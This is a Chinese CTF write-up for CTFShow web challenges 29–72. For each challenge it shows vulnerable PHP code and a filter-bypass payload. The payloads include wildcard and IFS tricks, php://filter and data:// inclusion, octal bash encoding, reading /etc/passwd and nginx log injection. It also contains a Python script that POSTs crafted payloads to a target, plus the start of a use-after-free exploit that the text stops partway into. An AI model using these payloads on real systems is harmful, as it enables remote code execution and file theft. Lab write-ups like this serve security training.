CTFShow_WEB

CTFShow_WEB

命令执行

web29

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

  过滤了 flag 字段,可以使用 * ​通配符进行过滤

  payload:?c=system("tac%20fla*");

web30

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

  这次过滤了 flag,system,php;

  因此思考有什么能替代 system ​函数:

  • PHP命令执行函数

    函数作用eg
    system()用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。system('cat /etc/passwd');
    exec()可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。exec('cat /etc/passwd', $result); print_r($result);
    shell_exec()执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。echo shell_exec('cat /etc/passwd');
    passthru()执行系统命令并将执行结果输出到页面中,支持二进制数据。passthru('cat /etc/passwd');
    popen()执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
    反引号用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。echo \cat /etc/passwd;

  这里使用 passthru() ​函数

  payload:?c=passthru("tac fla*");

web31

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

  相比上题,多过滤了更多的函数以及空格

空格,可以使用%09​、$IFS$9​、${IFS}​代替

  payload:?c=passthru("tac%09fla*");

  ‍

  ‍

web32

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

  这次较上一题过滤了更多符号, ​的过滤导致无法继续使用上面的方法

  这里使用文件包含:

  payload:c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

  解释一下:

  • 首先是 include+ 参数 1,作用是包含参数 1 的文件,运用了文件包含漏洞,最后的文件名字可以改为/etc/passwd 和 nginx 的日志文件来定位 flag 位置
  • 然后是 %0a 作用,这是 url 回车符,因为空格被过滤。事实上,删去也无所谓,似乎 php 会自动给字符串和变量间添加空格(经检验,只在 eval 中有效,echo 中无效,还是得要空格)
  • 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php 遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是 php 文件中最后一句在?>前可以不写分号
  • 在 c 中引用了参数 1,然后&后对参数 1 定义,运用文件包含漏洞

  ‍

web33

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

  上题方法依然可行

  payload:?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

  ‍

web34

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

  依旧同上

  payload:?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web35

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

  仍然同上

  payload:?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web36

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

  相较于上题,过滤了数字,因此将 URL 回车符删掉,并替换参数为字母

  payload:?c=include$_GET[e]?>&e=php://filter/convert.base64-encode/resource=flag.php

web37

1
2
3
4
5
6
7
8
9
10
11
12
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

  这里使用 data 伪协议、文件包含漏洞

  payload:?c=data:text/plain,<?php system('tac fla*.php');?>

解释:

  • data:​ 是 PHP 支持的数据流封装器,用于将纯文本直接作为文件内容读取。data:// 是 PHP 的数据协议,它允许在 URL 中直接嵌入文件内容,常用于传输小块数据,而不是指向实际的文件系统路径。
  • text/plain,​ 表示 MIME 类型,这里不会影响执行。
  • <?php system('tac fla*.php');?>​ 是直接放入的数据内容,data 封装器会将其视为一个“文件内容”。

web38

1
2
3
4
5
6
7
8
9
10
11
12
13
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

  相较于上题,过滤了 php​,这里采用短标签 = ​替换 php

  payload:?c=data:text/plain,<?= system('tac fla*');?>

web39

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

  .php 并不会影响行为,因为拼接的 .php 被“忽视”,因为 PHP 认为整个字符串(包括 .php)是一个数据流 URL,而不是文件路径。

  payload:?c=data:text/plain,<?= system('tac fla*');?>

web40

1
2
3
4
5
6
7
8
9
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

  无参数RCE

  payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

解释一下:

1. localeconv()

  • 返回当前语言环境的数字和货币格式信息,是一个 关联数组

2. pos(localeconv())

  • pos()​ 是 current()​ 的别名,用来获取数组中第一个元素的值(不是 key)。
  • 所以 pos(localeconv())​ 会返回 localeconv()​ 数组中第一个值,可能是 "."​。

3. scandir(...)

  • 扫描指定目录,返回该目录下的文件和文件夹名的数组。
  • 如果 pos(localeconv())​ 是 "."​,那就相当于 scandir(".")​,列出当前目录下的所有文件和目录。

4. array_reverse(...)

  • 反转文件列表,使最后的文件排在最前。

5. next(...)

  • next()​ 返回数组中的第二个元素。

  这段代码的整体含义是:

   获取当前目录中倒序排列的第二个文件名,然后用 show_source()​ 显示这个文件的源代码。

web41

1
2
3
4
5
6
7
8
9
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

  屏蔽了数字和字母,还屏蔽了一些其他的特殊字符。屏蔽的比较多

  可以跑脚本来生成可用字符的集合。
思路是:
从所有字符(ASCII[0-255])中排除掉被过滤的,然后再判断或运算得到的字符是否为可见字符。

  先用脚本生成可用字符的集合:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date: 2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}

//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}

//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";

for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}

if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}

}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式,后面的是过滤规则

  通过源码可以发现,没有过滤或运算|,因此脚本中设置的mode为1,也就是或运算,运行此脚本。

  接下来我们再利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import urllib
from sys import *
import os

os.system("php D:\\phpstudy_pro\\WWW\\rce_fuzz.php") # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("=" * 50)
exit(0)
url = argv[1]


def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open(r"D:\phpstudy_pro\WWW\rce.txt", "r")//填txt的文件位置
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)


while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
data = {
'c': urllib.parse.unquote(param)
}
r = requests.post(url, data=data)
print("\n[*] result:\n" + r.text)

  注意更改php脚本的位置和生成的rce.txt的位置,还有接受的参数比如上面是c,换个参数就把c改了就行,再配置一下php的环境变量即可。

  ‍

web42

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

  这里的/dev/null 2>&1是进行了重定向,不进行回显。

重定向语法

基本语法

表达式含义
>​文件标准输出(stdout)重定向到一个文件(覆盖写入)
>>​文件将标准输出重定向到一个文件(追加写入)
2>​文件标准错误(stderr)重定向到一个文件
2>&1将标准错误重定向到标准输出所在的位置
/dev/null特殊设备,写入它的数据会被丢弃(相当于“黑洞”)

组合用法举例

1
command > /dev/null 2>&1

含义分解:

  1. > /dev/null​:把标准输出丢弃。
  2. 2>&1​:把标准错误也重定向到标准输出(即也丢弃)。

✅ 结果是命令既不输出正常信息,也不输出错误信息, “静默执行”

  使用​分割一下,构造payload

  payload:?c=tac flag.php;ls

web43

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  相较于上题,多过滤了cat​和

  使用||​进行分割

使用分隔进行双写绕过:

; 分号

| 只执行后面那条命令

|| 只执行前面那条命令

& 两条命令都会执行

&& 两条命令都会执行

==%26a &的url编码==

==%0a 换行符的url 编码==

注意:#​在URL中是特殊字符,要把 # 通过 GET 请求传输, 需要进行URL编码:#​ -> %23

1
?c=tac flag.php;ls

system()

passthru()

`` ​也可以视为命令执行

cat,sort可以用tail​,tac​,nl​等代替

空格,可以使用%09​、$IFS$9​、${IFS}​代替

过滤的flag,php,点,可以用通配符*或?代替.

嵌套函数(使用跳板)(逃逸)

1
c=eval($_GET[a]);&a=system('cat flag.php');

文件包含

1
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

其中%0a​为换行符,而?>​替代了;

1
c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

伪协议

1
?c=data://text/plain,<?php system("tac fla*");?>

短标签

1
/?c=data://text/plain,<?= system("tac fla*");?>

php中不需要括号的函数

1
2
3
4
5
6
7
echo 123;
print 123;
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "etc/passwd";

日志注入

1
?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log

  payload:?c=tac flag.php||ls

  ‍

web44

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  相较上题,多过滤了个flag​,使用替换符​替换一下就好

  payload:?c=tac fla?.php||ls

  ‍

web45

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  相较于上题,多过滤了空格,替代空格即可

空格,可以使用%09​、$IFS$9​、${IFS}​代替

  payload:?c=tac%09fla*||ls

  ‍

web46

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  虽然相比于上题,过滤了更多的符号,但只要更换替换符即可

  payload:?c=tac%09fla?.php||ls

  ‍

web47

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  通上,即使过滤了数字等更多符号,上题的payload依然不受影响

  payload:?c=tac%09fla?.php||ls

  ‍

web48

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  上题payload依然可用

  payload:?c=tac%09fla?.php||ls

  ‍

  ‍

web49

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  依然使用上题payload(雾:?c=tac%09fla?.php||ls

  说明:

  PHP 会自动对 $_GET​ 中的参数进行 URL 解码,因此 %​ 在黑名单检查之前就已经变成了对应字符\t​,也就是 根本不会被 %的正则命中

  ‍

web50

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  这次09被过滤了,换一种方法:

  payload:?c=tac<fl''ag.php%0a

  解释一下:

部分说明
tacLinux 下的命令,类似cat​,但会将文件的行倒序输出
<输入重定向,表示读取后面文件的内容
fl''ag.php等价于flag.php​,使用两个单引号''​拼接绕过过滤规则(例如防止出现完整的flag​字符串)
%0aURL 编码的换行符\n​,可用于终止命令或注入新的一行命令(视上下文)

  ‍

web51

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  相较于上题目,本题ban掉了tac​,可以使用nl​替代后查看网页源码

cat,sort可以用tail​,tac​,nl​等代替

  payload:?c=nl<fl''ag.php%0a

web52

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

  这次过滤了>​,无法使用重定向了。

  但是放开了$​,因此可以使用${IFS}​替代空格

  payload:?c=ta\c${IFS}/fla''g%0a

web53

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

  如上题一样,只不过不是重定向了,而是会输出输入的命令

  payoad:?c=ta\c${IFS}fla''g.php

  ‍

web54

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

  过滤了蛮多的,而且使用了模糊匹配:

  只要字符串中包含正则中的字母,按顺序出现,中间可以有任意字符,就会被匹配。

  玩一个rev函数绕过,会输出逆转后的flag

  payload:?c=rev${IFS}fla?.php

web55

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

  过滤了字母,这里使用采取基于bash特性的技巧

基于Bash的无字母命令执行

原理:bash能解析八进制状态的字母

成熟脚本:https://probiusofficial.github.io/bashFuck/


使用 echo $0​ 的方式获取当前运行的脚本名称即可查看自己的终端类型:

1
2
root@Hello-CTF:echo $0
bash # bash / dash

如果直接与容器交互大概率能得到一个bash的结果,但是当我们使用system函数时,这其实会由sh去执行,所以如果我们使用system去执行上述命令,大概率会得到:

1
2
# echo $0
sh

但其实 sh 也是外包,通常它只是一个软连接,并不是真的有一个shell叫sh,要查看它最终的定向,我们可以使用 ls -l /bin/sh​ 使用 -l 参数列出:

1
2
root@Hello-CTF:ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox

如ls 可以通过$‘\154\163’ 的方式进行执行。

1
2
root@Hello-CTF:/home# $'\154\163'
Challenge Hello-CTF_labs PHPSerialize-labs PHPinclude-labs RCE-labs

但去dash中执行,会发现dash是无法解析他们的:

1
2
# $'\154\163'
dash: 1: $\154\163: not found

若 sh 的软连接指向 dash,那么用system函数也类似:

1
2
# $'\154\163'
sh: 1: $\154\163: not found

但是这种方法的缺陷就是无法一连串的指向带参命令,只能拆分开来:

1
2
3
4
5
bash-5.1# $'\143\141\164\40\57\146\154\141\147'
bash: cat /flag: No such file or directory

bash-5.1# $'\143\141\164' $'\57\146\154\141\147'
flag{TEST_Dynamic_FLAG}

  在线解题脚本:bashFuck

  注意:空格前后要分成2个部分分别转换

  例如:要转换tac flag.php​,应该分为tac​和flag.php​两个部分分别转换

  payload:?c=$'\164\141\143' $'\146\154\141\147\56\160\150\160'

  ‍

web56

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

  难度升级,无字母数字的命令执行

  知识点: .+空格+文件路径,会执行文件

  当使用PHP上传文件时会生成一个临时文件 /tmp/php六个随机字符(PHP的临时文件包含大写字母,大写字母的范围在@到[之间)

  同时?c=.%20/???/????????[@-[] ​等效 /tmp/phpxxxxxx

  所以只要构造一个文件上传包,文件内容为cat /var/www/html/flag.php​,再执行临时文件就可以了

image

web57

1
2
3
4
5
6
7
8
9
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

  很困难的一道题,但只需要凑出36即可

  知识点:https://blog.csdn.net/qq_46091464/article/details/108563368

  ​${_}=""
$((${_}))=0
$((~$((${_}))))=-1

  ​然后拼接出-36在进行取反

  ​${_}​:代表上一次命令执行的结果
$(())​: 做运算

image

  所以可以拼接得到-37 , -37取反得到36

image

  payload:$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))

  查看源码即可

web58

1
2
3
4
5
6
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  改为了post传参,但是对于许多命令执行的函数都禁用了(system,passthru)

  可以使用文件包含:

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php

  也可以使用读取文件的函数:

  payload:c=show_source('flag.php');

  ‍

web59

1
2
3
4
5
6
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  同上题一样,文件包含依然可以绕过

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php

  或者直接show_source也可以

  payload:c=show_source('flag.php');

web60

1
2
3
4
5
6
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  同上题一样,文件包含依然可以绕过

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php

  或者直接show_source也可以

  payload:c=show_source('flag.php');

  ‍

web61

1
2
3
4
5
6
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  同上题一样,文件包含依然可以绕过

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php

  或者直接show_source也可以

  payload:c=show_source('flag.php');

web62

1
2
3
4
5
6
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  同上题一样,文件包含依然可以绕过

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php

  或者直接show_source也可以

  payload:c=show_source('flag.php');

  ‍

web63

1
2
3
4
5
6
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  同上题一样,文件包含依然可以绕过

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php

  或者直接show_source也可以

  payload:c=show_source('flag.php');

web64

1
2
3
4
5
6
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  同上题一样,文件包含依然可以绕过

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php

  或者直接show_source也可以

  payload:c=show_source('flag.php');

web65

1
2
3
4
5
6
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  同上题一样,文件包含依然可以绕过

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=flag.php

  或者直接show_source也可以

  payload:c=show_source('flag.php');

web66

1
2
3
4
5
6
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  这次flag不在flag.php里了,可以使用scandir先找到目录

  ​c=print_r(scandir("/"));​或者

  ​c=var_dump(scandir('/'));

  发现flag在/flag.txt下

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt

  ‍

web67

1
2
3
4
5
6
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

  同上题一样

  ​c=print_r(scandir("/"));​或者

  ​c=var_dump(scandir('/'));

  发现flag在/flag.txt下

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt

web68

  同上题一样,但是估计题有bug,源码显示报错(雾)

  同时过滤了print_r

  ​c=var_dump(scandir('/'));

  发现flag在/flag.txt下

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt

web69

  同上题一样,源码显示报错(雾)

  同时过滤了var_dump​,那这里使用var_export

  ​c=var_export(scandir("/"));

  找到flag位置(与上题一样)

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt

web70

  同上题一样

  ​c=var_export(scandir("/"));

  找到flag位置(与上题一样)

  payload:c=include($_POST[a]);&a=php://filter/convert.base64-encode/resource=/flag.txt

web71

1
2
3
4
5
6
7
8
9
10
11
12
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

  源码在附件中

  解释一下:

1
2
$s = ob_get_contents();
ob_end_clean();

  这两行的作用是尝试从输出缓冲区获取内容并清空缓冲,将缓冲区关闭,但不会输出内容

1
echo preg_replace("/[0-9]|[a-z]/i","?",$s);

  把输出中的所有**数字和字母(不区分大小写)**都替换成 ?​ 后再输出。

  即:

  源码劫持了输出缓冲并且将数字和字母替换成了?。

  所以可以提前终止程序,即执行完代码直接退出,可以调用的函数有:

1
2
exit();
die();

  payload:

  ​c=var_export(scandir("/"));die();

  获取flag位置后

  ​c=include("/flag.txt");die();

  ‍

web72

  很难的一道题

1
2
3
4
5
6
7
8
9
10
11
12
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

  由于open_basedir限制的访问区域,所以之前的方法无法扫描目录(open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域)

  但是可以通过,php伪协议glob://​绕过

  payload:c=var_export(scandir('glob:///*'));exit();

  其中,glob://为协议,/*为根目录所有内容。

  发现flag0.txt

  这里有一个开源的uaf脚本,直接使用,用到了一点pwn的知识(需要URL编码后使用。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
<?php

function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
